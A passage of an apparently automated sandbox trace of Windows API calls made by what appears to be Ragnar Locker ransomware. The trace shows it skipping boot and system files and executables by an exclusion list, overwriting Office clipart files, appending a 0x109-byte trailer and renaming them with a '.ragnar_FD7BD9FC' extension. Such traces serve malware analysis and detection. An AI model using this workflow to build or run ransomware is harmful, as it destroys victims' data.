lpOverlapped=0x0) returned 1 [0088.698] VirtualAlloc (lpAddress=0x0, dwSize=0x70f0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.698] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.698] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.698] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x70f0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x70f0, lpOverlapped=0x0) returned 1 [0088.699] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.700] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x70f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.700] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x70f0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x70f0, lpOverlapped=0x0) returned 1 [0088.700] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x70f0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.700] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.700] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x70f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.700] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.700] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.700] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.700] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.700] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.700] GetProcessHeap () returned 0x580000 [0088.701] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.701] CloseHandle (hObject=0xf4) returned 1 [0088.701] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF" [0088.701] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF.ragnar_FD7BD9FC" [0088.701] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01293_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01293_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.701] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29f0600, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd29f0600, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x16ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01354_.WMF", cAlternateFileName="")) returned 1 [0088.701] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.701] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01354_.WMF" | out: lpString1="NA01354_.WMF") returned="NA01354_.WMF" [0088.701] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF") returned=".WMF" [0088.701] lstrcmpiW (lpString1="NA01354_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.702] lstrcmpiW (lpString1="NA01354_.WMF", lpString2="autorun.inf") returned 1 [0088.702] lstrcmpiW (lpString1="NA01354_.WMF", lpString2="boot.ini") returned 1 [0088.702] lstrcmpiW (lpString1="NA01354_.WMF", lpString2="bootfont.bin") returned 1 [0088.702] lstrcmpiW (lpString1="NA01354_.WMF", lpString2="bootsect.bak") returned 1 [0088.702] lstrcmpiW (lpString1="NA01354_.WMF", lpString2="bootmgr") returned 1 [0088.702] lstrcmpiW (lpString1="NA01354_.WMF", lpString2="bootmgr.efi") returned 1 [0088.702] lstrcmpiW (lpString1="NA01354_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.702] lstrcmpiW (lpString1="NA01354_.WMF", lpString2="desktop.ini") returned 1 [0088.702] lstrcmpiW (lpString1="NA01354_.WMF", lpString2="iconcache.db") returned 1 [0088.702] lstrcmpiW (lpString1="NA01354_.WMF", lpString2="ntldr") returned -1 [0088.702] lstrcmpiW (lpString1="NA01354_.WMF", lpString2="ntuser.dat") returned -1 [0088.702] lstrcmpiW (lpString1="NA01354_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.702] lstrcmpiW (lpString1="NA01354_.WMF", lpString2="ntuser.ini") returned -1 [0088.702] lstrcmpiW (lpString1="NA01354_.WMF", lpString2="thumbs.db") returned -1 [0088.702] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.702] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.702] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.702] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.702] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.702] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.702] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf")) returned 0x20 [0088.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.703] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5806) returned 1 [0088.703] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16a5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.703] GetProcessHeap () returned 0x580000 [0088.703] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.703] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.704] VirtualAlloc (lpAddress=0x0, dwSize=0x16ae, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.705] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.705] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.705] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x16ae, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x16ae, lpOverlapped=0x0) returned 1 [0088.706] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.706] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16ae, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.706] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x16ae, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x16ae, lpOverlapped=0x0) returned 1 [0088.706] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16ae, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.706] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.706] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.706] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.706] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.706] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.706] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.706] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.707] GetProcessHeap () returned 0x580000 [0088.707] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.707] CloseHandle (hObject=0xf4) returned 1 [0088.707] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF" [0088.707] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF.ragnar_FD7BD9FC" [0088.707] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.707] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf0b7f00, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf0b7f00, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x4732, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01356_.WMF", cAlternateFileName="")) returned 1 [0088.707] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.707] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01356_.WMF" | out: lpString1="NA01356_.WMF") returned="NA01356_.WMF" [0088.707] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF") returned=".WMF" [0088.707] lstrcmpiW (lpString1="NA01356_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.708] lstrcmpiW (lpString1="NA01356_.WMF", lpString2="autorun.inf") returned 1 [0088.708] lstrcmpiW (lpString1="NA01356_.WMF", lpString2="boot.ini") returned 1 [0088.708] lstrcmpiW (lpString1="NA01356_.WMF", lpString2="bootfont.bin") returned 1 [0088.708] lstrcmpiW (lpString1="NA01356_.WMF", lpString2="bootsect.bak") returned 1 [0088.708] lstrcmpiW (lpString1="NA01356_.WMF", lpString2="bootmgr") returned 1 [0088.708] lstrcmpiW (lpString1="NA01356_.WMF", lpString2="bootmgr.efi") returned 1 [0088.708] lstrcmpiW (lpString1="NA01356_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.708] lstrcmpiW (lpString1="NA01356_.WMF", lpString2="desktop.ini") returned 1 [0088.708] lstrcmpiW (lpString1="NA01356_.WMF", lpString2="iconcache.db") returned 1 [0088.708] lstrcmpiW (lpString1="NA01356_.WMF", lpString2="ntldr") returned -1 [0088.708] lstrcmpiW (lpString1="NA01356_.WMF", lpString2="ntuser.dat") returned -1 [0088.708] lstrcmpiW (lpString1="NA01356_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.708] lstrcmpiW (lpString1="NA01356_.WMF", lpString2="ntuser.ini") returned -1 [0088.708] lstrcmpiW (lpString1="NA01356_.WMF", lpString2="thumbs.db") returned -1 [0088.708] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.708] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.708] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.708] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.708] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.708] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.708] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.708] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf")) returned 0x20 [0088.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.709] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=18226) returned 1 [0088.709] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4729, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.709] GetProcessHeap () returned 0x580000 [0088.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.709] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.710] VirtualAlloc (lpAddress=0x0, dwSize=0x4732, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.710] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.710] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.710] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4732, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4732, lpOverlapped=0x0) returned 1 [0088.711] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.711] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4732, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.711] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4732, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4732, lpOverlapped=0x0) returned 1 [0088.712] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4732, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.712] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.712] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4732, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.712] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.712] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.712] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.712] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.712] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.712] GetProcessHeap () returned 0x580000 [0088.712] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.712] CloseHandle (hObject=0xf4) returned 1 [0088.712] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF" [0088.712] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF.ragnar_FD7BD9FC" [0088.712] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01356_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01356_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.713] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdda5200, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcdda5200, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x6bf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA01357_.WMF", cAlternateFileName="")) returned 1 [0088.713] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.713] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA01357_.WMF" | out: lpString1="NA01357_.WMF") returned="NA01357_.WMF" [0088.713] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF") returned=".WMF" [0088.713] lstrcmpiW (lpString1="NA01357_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.713] lstrcmpiW (lpString1="NA01357_.WMF", lpString2="autorun.inf") returned 1 [0088.713] lstrcmpiW (lpString1="NA01357_.WMF", lpString2="boot.ini") returned 1 [0088.713] lstrcmpiW (lpString1="NA01357_.WMF", lpString2="bootfont.bin") returned 1 [0088.714] lstrcmpiW (lpString1="NA01357_.WMF", lpString2="bootsect.bak") returned 1 [0088.714] lstrcmpiW (lpString1="NA01357_.WMF", lpString2="bootmgr") returned 1 [0088.714] lstrcmpiW (lpString1="NA01357_.WMF", lpString2="bootmgr.efi") returned 1 [0088.714] lstrcmpiW (lpString1="NA01357_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.714] lstrcmpiW (lpString1="NA01357_.WMF", lpString2="desktop.ini") returned 1 [0088.714] lstrcmpiW (lpString1="NA01357_.WMF", lpString2="iconcache.db") returned 1 [0088.714] lstrcmpiW (lpString1="NA01357_.WMF", lpString2="ntldr") returned -1 [0088.714] lstrcmpiW (lpString1="NA01357_.WMF", lpString2="ntuser.dat") returned -1 [0088.714] lstrcmpiW (lpString1="NA01357_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.714] lstrcmpiW (lpString1="NA01357_.WMF", lpString2="ntuser.ini") returned -1 [0088.714] lstrcmpiW (lpString1="NA01357_.WMF", lpString2="thumbs.db") returned -1 [0088.714] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.714] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.714] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.714] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.714] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.714] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.714] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.714] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf")) returned 0x20 [0088.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01357_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01357_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.715] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=27638) returned 1 [0088.715] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6bed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.715] GetProcessHeap () returned 0x580000 [0088.715] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.715] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.716] VirtualAlloc (lpAddress=0x0, dwSize=0x6bf6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.716] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.716] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.716] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6bf6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6bf6, lpOverlapped=0x0) returned 1 [0088.717] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, 